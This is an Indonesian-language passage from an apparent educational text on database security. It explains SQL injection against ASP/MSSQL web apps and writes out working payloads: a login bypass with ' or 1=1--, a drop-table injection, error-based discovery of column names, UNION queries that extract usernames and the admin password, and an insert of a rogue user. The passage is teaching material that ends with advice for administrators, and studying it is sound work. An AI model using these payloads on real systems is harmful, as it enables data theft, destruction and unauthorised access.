'short_time_price' dan 'long_time_price' dari table 'bispak'

Selanjutnya hasil dari 'result set' biasanya akan lebih lebih khusus lagi , sebagai berikut :   13

select id, name, no_telp, short_time_price from bispak where name = 'blablabla' and 

short_time_price < 100000

Perhatikan terhadap  'blablabla'  tersebut , dimana where clausenya menggunakan quote  (‗),

inilah kunci dasar untuk melakukan injection

Kalau di query diubah dengan where clausenya sebagai berikut 

name: blablabla'john

maka query nya akan menjadi seperti berikut: 


select id, name, no_telp, short_time_price from bispak where name = ' blablabla'john'

and short_time_price < 100000

Pada saat ASP di-browse ada pesaan error sebagai berikut (yang biasanya akan muncul):

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'john'

SQL atau "Structured Query Language" seharusnya tidak menyentuh system calls.

Tetapi tidak dengan MSSQL. 

Karakter tunggal (‗) tersebut yang menyebabkan error dari delimiternya SQL, dan ASP akan

memberikan pesan secara jelas dimana letak kesalahannya. Dan dengan pengetahuan query

yang cukup baik (cara melakukan mark), maka akan dengan mudah bisa melakukan

injectioan. 

Kalau query di atas digunakan dalam aplikasi, dan orang yang melakukan injection tahu table

yang digunakan maka jika where clausennya diubah menjadi sebagai berikut :  

Name: blablabla';drop table bispak--  

maka aplikasi tersebut tentu saja akan error, karena semua isi dari tabel yang digunakan akan

terhapus. 

Berikut ini akan dijelaskan cara melakukan mark terhadap aplikasi yang menggunakan
sintaks
query. 

Misalnya  ada form yang masukannya meminta input login + password. Misalnya Nama field

yang dipakai adalah 'login' dan 'pass'.

Kemudian SQL nya di ASP adalah sebagai berikut:

var sql = select * from users where username='"+login+"' and password='"+pass"'";

pada saat tampil di aplikasi Web maka biasanya akan ditampilkan dua hal tersebut yaitu 

LOGIN   :

PASS  :

Selanjutnya input yang diberikan adalah sebagai berikut.

LOGIN   :‘ or 1=1--

PASS  :apa saja   14

Maka hasil querynya adalah sebagai berikut 

Asalnya adalah sebagai berikut : 

var sql = select * from users where username='"+login+"' and password='"+pass"'";

SQL nya setelah di inject menjadi:


select * from users where username='' or 1=1-- and password='apa saja'

Statemen SQL setelah tanda ‗-- ‗ tidak adakan diexecute (dijalankan). 

Sehingga SQL statemennya menjadi select (semua) dari users yang username nya '' (kosong)

atau 1=1 (true),  logika 'atau' ini yg bikin SQL nya menghasilkan nilai benar sehingga

menjalankan select * (semuanya). Jika hal tersebut adalah login. ASP langsung bisa login,

tanpa perlu input yang lainnya.

Bagaimana caranya agar bisa mengetahui Nama Tabelnya dan struktur yang ada. 

Untuk meng-inject,  attacker  harus mengetahui struktur tablenya. Jadi  attacker  bisa meng-

inject SQL dengan tepat.

Seperti disebutkan di atas ASP dan IIS akan menampilkan message secara jelas bagian yang

mengalami error, dan hal tersebut yang dimanfaatkan oleh attacker untuk menyisipkan SQL

statemen sebagai ―injection”-nya. Tehnik ini dikenal dengan 'debugging web application
from

its error code'. Untuk melakukan debug tersebut SQL Injection-nya adalah ―having 1 = 1‖

LOGIN   :' having 1=1--

Sintaks Statemen SQL-nya akan menjadi sebagai berikut :

select * from users where username = '' having 1=1-- 

Error yang akan ditampilkan adalah sebagai berikut:

 
Microsoft bla bla bla

[Microsoft] [ODBC SQL Server Driver][SQL Server] Column 'users.id' is invalid in the
select

list because it is not contained in an aggregate function and there is no GROUP BY clause. 

/proces_login.asp, line 20

―Having‖ adalah suatu sintaks di MSSQL untuk menampilkan hasil query yang telah
digroup

(dikelompokkan). Biasanya adalah untuk menghitung suatu aggregasi berdasarkan suatu

group (kelompok) field tertentu. Jadi query diatas kalau ada select dan ada having semua

kolom harus di group karena record-record tidak mungkin sama. Sehingga SQL menganggap

query tersebut ada kesalahan sehingga menampilkan message secara jelas yaitu error di

bagian ―users.id‖, sehingga bisa dimengerti bahwa table yang digunakan adalah ―Users‖
dan

field yang ada dari table tersebut di antaranya adalah ―id‖.

Bagaimana attacker dapat mengetahui semua kolom yang ada dalam tabel yang digunakan.

Karena sudah tahu satu kolom/field yaitu ―id‖, maka sintaks selanjutnya adalah
memberikan

instruksi group by. Sehingga sintaks / input yang diberikan adalah dengan melakukan

grouping field tersebut, yaitu menjadi :

LOGIN   :' group by users.id having 1=1--

error yang akan disampikan adalah Column 'users.username' is invalid blabla bla. Di sini
akan
disebutkan lagi field mana yang error, dimana messagenya ditampilkan secara jelas, yaitu
ada   15

field ―username‖ yang belum di-group.  Begitu seterusnya, untuk setiap field yang

ditampilkan dalam error ditambahkan dalam ―group by….‖ Sampai tidak ada error message

lagi yang ditampilkan, dimana berarti semua field/kolom sudah diketahui. 

Inilah yang menjadikan MSSQL mudah diinjeksi (disisipi) oleh attacker, karena ASP dan
IIS-

nya akan memberikan/menampilkan error message secara jelas. Sehingga kelemahan inilah

yang dimanfaatkan untuk melakukan sintaks error, karena dari sintaks error tersebut akan

diketahui berbagai informasi yang terkait dengan MSSQL. 

Untuk mengetahui jenis/type data dari setiap field/kolom,  attacker  biasanya menggunakan

sintaks ―UNION‖, dimana sintaks ini dalam MSSQL berarti akan melakukan penggabungan

dari query yang satu dengan query yang lain dengan urutan field dan jenis/type data yang

sama. Sehingga apabila Urutan field atau type datanya berbeda akan menampilkan errornya.

Dan error inilah yang dimanfaatkan oleh attacker untuk melakukan injection. 

Berikut ini cara untuk melakukan UNION :

LOGIN   :' union select sum(username) from users--

Sehingga sintaks SQL akan menjadi :

select * from users where username = '' union select sum(username) from users--

 
Sintaks UNION ini bisa melakukan break  select list  dan menjadikan 'child' select list.

Maksudnya adalah [ada select] UNION [select], Karena select sum(username) yang diberikan

tersebut bisa menghasilkan error. Sintaks fungsi Sum()hanya untuk field dengan type data

interger, money, dan seterusnya,  selain varchar, char ata string, dimana type datanya bisa

dihitung atau paling tidak mempunyai type data numeric.

Sehingga dari sintaks SQL di atas, IIS+ASP akan memberikan kembali error message sebagai

berikut:

The sum or average aggregate operation cannot take a varchar data type as an argument

Dari message di atas bisa ditebk bahwa type datanya adalah bukan integer tetapi type datanya

adalah varchar. Kalau ternyata tidak ada pesan error yang diberikan berarti memang type

datanya adalah integer atau seperti yang disebutkan di atas. 

Untuk mengetahui isi dari tabel yang diquery bisa menggunakan beberapa cara, antara lain

sebagai berikut:  

Sintaks SQL-nya diubah seperti berikut ini. 

LOGIN   :' union select min(username),1,1,1 from users where username > 'a'--

Intstruksi tersebut akan menghasilkan kembali pesan error, sebagai berikut: 

Error:
Syntax error converting the varchar value 'admin' to a colum of data type init.

Pesan tersebut kembali memberitahukan bahwa di tabel tersebut terdapat username  dengan

nilai 'admin', Selanjutnya bisa dilakukan iterate (looping) secara terus menerus.

' union select min(username),1,1,1 from users where username > 'admin'--

   16

dan seterusnya. 

Selanjutnya untuk mengetahui passwordnya, cukup melakukan query biasa karena sudah

diketahui ―usernamenya‖, sebagai berikut:

' union select password,1,1,1 from users where username='admin'--

Maka akan didapatkan passwordnya. Atau karena sudah mengetahui struktur table yang

digunakan, maka bisa membuat sendiri user dan passwordnya, yaitu dengan melakukan insert

terhadap table tersebut (dengan data yang dibuat sendiri). 

' insert into users values (0,'ABC','pwd',1)--

dan seterusnya. 

Dengan demikian berarti database tersebut paling tidak sudah bisa dikendalikan oleh attacker.

Karena  attacker  sudah bisa melakukan login dan masuk ke database melalui aplikasi web

yang menggunakan sintaks query yang mudah untuk dilakukan injeksi (penyisipan SQL
Statement). 

 17

Kesimpulan

  Dengan adanya beberapa penjelasan mengenai  database security  tersebut di atas,

diharapkan dapat menjadi input/masukan yang berarti terutama kepada administrator jaringan

ataupun administrator database untuk mengatur terhadap keamanan tersebut. 

Dimana perhatian utamanya terhadap para  administrator tersebut terutama adalah

Keamanan Server (Server Security), Koneksi Database (Database Connections), Kontrol

Akses Tabel (Table Access Control) dan juga terhadap Pembatasan Akses Database

(Restricting Database Access) dimana hal tersebut di  atas sangat berpengaruh terhadap

keamanan database yang akan dipublish terutama ke Internet/Intranet. 

  Demikian juga dalam menentukan sistem keamanan dapat memilih sistem

clinet/server yang telah disediakan oleh beberapa vendor dengan beberapa kelebihan dan

kekurangannya, yang sekiranya dapat dipilih sesuai dengan kemampuan dan kepentingan

terhadap organisasi atau perusahaan. 

Selain itu juga perlu diperhatikan Script language dalam pembuatan aplikasi. Karena

dimungkinkan bahwa dengan script language yang  tradisional (masih menggunakan query

biasa) tersebut akan dapat dibaca oleh para attacker,  maka script language dalam bahasa
SQL

tersebut dapat ditembus dengan SQL Injection untuk melihat database yang dipublish ke

Internet maupun Intranet.